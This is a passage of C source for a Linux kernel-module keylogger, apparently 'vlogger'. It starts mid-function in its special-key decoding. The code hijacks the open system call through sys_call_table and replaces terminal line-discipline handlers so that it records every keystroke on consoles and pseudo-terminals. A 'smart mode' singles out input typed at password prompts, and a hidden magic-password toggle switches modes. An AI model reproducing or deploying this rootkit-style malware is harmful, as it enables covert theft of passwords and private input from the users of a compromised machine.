append_c(tmp, "[ALT-D]", 7); break; case 'e': append_c(tmp, "[ALT-E]", 7); break; case 'f': append_c(tmp, "[ALT-F]", 7); break; case 'g': append_c(tmp, "[ALT-G]", 7); break; case 'h': append_c(tmp, "[ALT-H]", 7); break; case 'i': append_c(tmp, "[ALT-I]", 7); break; case 'j': append_c(tmp, "[ALT-J]", 7); break; case 'k': append_c(tmp, "[ALT-K]", 7); break; case 'l': append_c(tmp, "[ALT-L]", 7); break; case 'm': append_c(tmp, "[ALT-M]", 7); break; case 'n': append_c(tmp, "[ALT-N]", 7); break; case 'o': append_c(tmp, "[ALT-O]", 7); break; case 'p': append_c(tmp, "[ALT-P]", 7); break; case 'q': append_c(tmp, "[ALT-Q]", 7); break; case 'r': append_c(tmp, "[ALT-R]", 7); break; case 's': append_c(tmp, "[ALT-S]", 7); break; case 't': append_c(tmp, "[ALT-T]", 7); break; case 'u': append_c(tmp, "[ALT-U]", 7); break; case 'v': append_c(tmp, "[ALT-V]", 7); break; case 'x': append_c(tmp, "[ALT-X]", 7); break; case 'y': append_c(tmp, "[ALT-Y]", 7); break; case 'z': append_c(tmp, "[ALT-Z]", 7); break; } break; case 3: switch(cp[2]) { case 68: // Left: 27 91 68 append_c(tmp, "[LEFT]", 6); break; case 67: // Right: 27 91 67 append_c(tmp, "[RIGHT]", 7); break; case 65: // Up: 27 91 65 append_c(tmp, "[UP]", 4); break; case 66: // Down: 27 91 66 append_c(tmp, "[DOWN]", 6); break; case 80: // Pause/Break: 27 91 80 append_c(tmp, "[BREAK]", 7); break; } break; case 4: switch(cp[3]) { case 65: // F1: 27 91 91 65 append_c(tmp, "[F1]", 4); break; case 66: // F2: 27 91 91 66 append_c(tmp, "[F2]", 4); break; case 67: // F3: 27 91 91 67 append_c(tmp, "[F3]", 4); break; case 68: // F4: 27 91 91 68 append_c(tmp, "[F4]", 4); break; case 69: // F5: 27 91 91 69 append_c(tmp, "[F5]", 4); break; case 126: switch(cp[2]) { case 53: // PgUp: 27 91 53 126 append_c(tmp, "[PgUP]", 6); break; case 54: // PgDown: 27 91 54 126 append_c(tmp, "[PgDOWN]", 8); break; case 49: // Home: 27 91 49 126 append_c(tmp, "[HOME]", 6); break; case 52: // End: 27 91 52 126 append_c(tmp, "[END]", 5); break; case 50: // Insert: 27 91 50 126 append_c(tmp, "[INS]", 5); break; case 51: // Delete: 27 91 51 126 append_c(tmp, "[DEL]", 5); break; } break; } break; case 5: if(cp[2] == 50) switch(cp[3]) { case 48: // F9: 27 91 50 48 126 append_c(tmp, "[F9]", 4); break; case 49: // F10: 27 91 50 49 126 append_c(tmp, "[F10]", 5); break; case 51: // F11: 27 91 50 51 126 append_c(tmp, "[F11]", 5); break; case 52: // F12: 27 91 50 52 126 append_c(tmp, "[F12]", 5); break; case 53: // Shift-F1: 27 91 50 53 126 append_c(tmp, "[SH-F1]", 7); break; case 54: // Shift-F2: 27 91 50 54 126 append_c(tmp, "[SH-F2]", 7); break; case 56: // Shift-F3: 27 91 50 56 126 append_c(tmp, "[SH-F3]", 7); break; case 57: // Shift-F4: 27 91 50 57 126 append_c(tmp, "[SH-F4]", 7); break; } else switch(cp[3]) { case 55: // F6: 27 91 49 55 126 append_c(tmp, "[F6]", 4); break; case 56: // F7: 27 91 49 56 126 append_c(tmp, "[F7]", 4); break; case 57: // F8: 27 91 49 57 126 append_c(tmp, "[F8]", 4); break; case 49: // Shift-F5: 27 91 51 49 126 append_c(tmp, "[SH-F5]", 7); break; case 50: // Shift-F6: 27 91 51 50 126 append_c(tmp, "[SH-F6]", 7); break; case 51: // Shift-F7: 27 91 51 51 126 append_c(tmp, "[SH-F7]", 7); break; case 52: // Shift-F8: 27 91 51 52 126 append_c(tmp, "[SH-F8]", 7); break; }; break; default: // Unknow break; } }
/* * Called whenever user press a key */
void vlogger_process(struct tty_struct *tty, const unsigned char *cp, int count) { struct tlogger *tmp = ttys[TTY_INDEX(tty)];
if (!tmp) { DPRINT("erm .. unknow error???\n"); init_tty(tty, TTY_INDEX(tty)); tmp = ttys[TTY_INDEX(tty)]; if (!tmp) return; }
if (vlogger_mode == VK_SMARTMODE) { if (tmp->status && !IS_PASSWD(tty)) { resetbuf(tmp); } if (!tmp->pass && IS_PASSWD(tty)) { logging(tty, tmp, 0); resetbuf(tmp); } if (tmp->pass && !IS_PASSWD(tty)) { if (!tmp->lastpos) logging(tty, tmp, 0); resetbuf(tmp); } tmp->pass = IS_PASSWD(tty); tmp->status = 0; }
if ((count + tmp->lastpos) > MAX_BUFFER - 1) { logging(tty, tmp, 1); resetbuf(tmp); }
if (count == 1) { if (cp[0] == VK_TOGLE_CHAR) { if (!strcmp(tmp->buf, MAGIC_PASS)) { if(vlogger_mode < 2) vlogger_mode++; else vlogger_mode = 0; reset_all_buf();
switch(vlogger_mode) { case VK_DUMBMODE: DPRINT("Dumb Mode\n"); TTY_WRITE(tty, "\r\n" "Dumb Mode\n", 12); break; case VK_SMARTMODE: DPRINT("Smart Mode\n"); TTY_WRITE(tty, "\r\n" "Smart Mode\n", 13); break; case VK_NORMAL: DPRINT("Normal Mode\n"); TTY_WRITE(tty, "\r\n" "Normal Mode\n", 14); } } }
switch (cp[0]) { case 0x01: //^A append_c(tmp, "[^A]", 4); break; case 0x02: //^B append_c(tmp, "[^B]", 4); break; case 0x03: //^C append_c(tmp, "[^C]", 4); case 0x04: //^D append_c(tmp, "[^D]", 4); case 0x0D: //^M case 0x0A: if (vlogger_mode == VK_SMARTMODE) { if (IS_PASSWD(tty)) { logging(tty, tmp, 0); resetbuf(tmp); } else tmp->status = 1; } else { logging(tty, tmp, 0); resetbuf(tmp); } break; case 0x05: //^E append_c(tmp, "[^E]", 4); break; case 0x06: //^F append_c(tmp, "[^F]", 4); break; case 0x07: //^G append_c(tmp, "[^G]", 4); break; case 0x09: //TAB - ^I append_c(tmp, "[TAB]", 5); break; case 0x0b: //^K append_c(tmp, "[^K]", 4); break; case 0x0c: //^L append_c(tmp, "[^L]", 4); break; case 0x0e: //^E append_c(tmp, "[^E]", 4); break; case 0x0f: //^O append_c(tmp, "[^O]", 4); break; case 0x10: //^P append_c(tmp, "[^P]", 4); break; case 0x11: //^Q append_c(tmp, "[^Q]", 4); break; case 0x12: //^R append_c(tmp, "[^R]", 4); break; case 0x13: //^S append_c(tmp, "[^S]", 4); break; case 0x14: //^T append_c(tmp, "[^T]", 4); break; case 0x15: //CTRL-U resetbuf(tmp); break; case 0x16: //^V append_c(tmp, "[^V]", 4); break; case 0x17: //^W append_c(tmp, "[^W]", 4); break; case 0x18: //^X append_c(tmp, "[^X]", 4); break; case 0x19: //^Y append_c(tmp, "[^Y]", 4); break; case 0x1a: //^Z append_c(tmp, "[^Z]", 4); break; case 0x1c: //^\ append_c(tmp, "[^\\]", 4); break; case 0x1d: //^] append_c(tmp, "[^]]", 4); break; case 0x1e: //^^ append_c(tmp, "[^^]", 4); break; case 0x1f: //^_ append_c(tmp, "[^_]", 4); break; case BACK_SPACE_CHAR1: case BACK_SPACE_CHAR2: if (!tmp->lastpos) break; if (tmp->buf[tmp->lastpos-1] != ']') tmp->buf[--tmp->lastpos] = 0; else { append_c(tmp, "[^H]", 4); } break; case ESC_CHAR: //ESC append_c(tmp, "[ESC]", 5); break; default: tmp->buf[tmp->lastpos++] = cp[0]; tmp->buf[tmp->lastpos] = 0; } } else { // a block of chars or special key if (cp[0] != ESC_CHAR) { while (count >= MAX_BUFFER) { append_c(tmp, cp, MAX_BUFFER); logging(tty, tmp, 1); resetbuf(tmp); count -= MAX_BUFFER; cp += MAX_BUFFER; }
append_c(tmp, cp, count); } else // special key special_key(tmp, cp, count); } }
void my_tty_open(void) { int fd, i; char dev_name[80];
#ifdef LOCAL_ONLY int fl = 0; struct tty_struct * tty; struct file * file; #endif
for (i=1; i<MAX_TTY_CON; i++) { snprintf(dev_name, sizeof(dev_name)-1, "/dev/tty%d", i);
BEGIN_KMEM fd = open(dev_name, O_RDONLY, 0); if (fd < 0) continue;
#ifdef LOCAL_ONLY file = fget(fd); tty = file->private_data; if (tty != NULL && tty->ldisc.receive_buf != NULL) { if (!fl) { old_receive_buf = tty->ldisc.receive_buf; fl = 1; } init_tty(tty, TTY_INDEX(tty)); } fput(file); #endif
close(fd); END_KMEM }
#ifndef LOCAL_ONLY for (i=0; i<MAX_PTS_CON; i++) { snprintf(dev_name, sizeof(dev_name)-1, "/dev/pts/%d", i);
BEGIN_KMEM fd = open(dev_name, O_RDONLY, 0); if (fd >= 0) close(fd); END_KMEM } #endif
}
void new_receive_buf(struct tty_struct *tty, const unsigned char *cp, char *fp, int count) { if (!tty->real_raw && !tty->raw) // ignore raw mode vlogger_process(tty, cp, count); (*old_receive_buf)(tty, cp, fp, count); }
static inline void init_tty(struct tty_struct *tty, int tty_index) { struct tlogger *tmp;
DPRINT("Init logging for %s%d\n", TTY_NAME(tty), TTY_NUMBER(tty));
if (ttys[tty_index] == NULL) { tmp = kmalloc(sizeof(struct tlogger), GFP_KERNEL); if (!tmp) { DPRINT("kmalloc failed!\n"); return; } memset(tmp, 0, sizeof(struct tlogger)); tmp->tty = tty; tty->ldisc.receive_buf = new_receive_buf; ttys[tty_index] = tmp; } else { tmp = ttys[tty_index]; logging(tty, tmp, 1); resetbuf(tmp); tty->ldisc.receive_buf = new_receive_buf; } }
asmlinkage int new_sys_open(const char *filename, int flags, int mode) { int ret; static int fl = 0; struct file * file; ret = (*original_sys_open)(filename, flags, mode); if (ret >= 0) { struct tty_struct * tty;
BEGIN_KMEM lock_kernel(); file = fget(ret); tty = file->private_data;
if (tty != NULL && ((tty->driver.type == TTY_DRIVER_TYPE_CONSOLE && TTY_NUMBER(tty) < MAX_TTY_CON - 1 ) || (tty->driver.type == TTY_DRIVER_TYPE_PTY && tty->driver.subtype == PTY_TYPE_SLAVE && TTY_NUMBER(tty) < MAX_PTS_CON)) && tty->ldisc.receive_buf != NULL && tty->ldisc.receive_buf != new_receive_buf) {
if (!fl) { old_receive_buf = tty->ldisc.receive_buf; fl = 1; } init_tty(tty, TTY_INDEX(tty)); } fput(file); unlock_kernel(); END_KMEM } return ret; }
int init_module(void) {
DPRINT(MVERSION); #ifndef LOCAL_ONLY original_sys_open = sys_call_table[__NR_open]; sys_call_table[__NR_open] = new_sys_open; #endif my_tty_open(); // MOD_INC_USE_COUNT;
return 0; }
DECLARE_WAIT_QUEUE_HEAD(wq);
void cleanup_module(void) { int i;
#ifndef LOCAL_ONLY sys_call_table[__NR_open] = original_sys_open; #endif
for (i=0; i<MAX_TTY_CON + MAX_PTS_CON; i++) { if (ttys[i] != NULL) { ttys[i]->tty->ldisc.receive_buf = old_receive_buf; } } sleep_on_timeout(&wq, HZ); for (i=0; i<MAX_TTY_CON + MAX_PTS_CON; i++) { if (ttys[i] != NULL) { kfree(ttys[i]); } } DPRINT("Unloaded\n"); }
EXPORT_NO_SYMBOLS;
|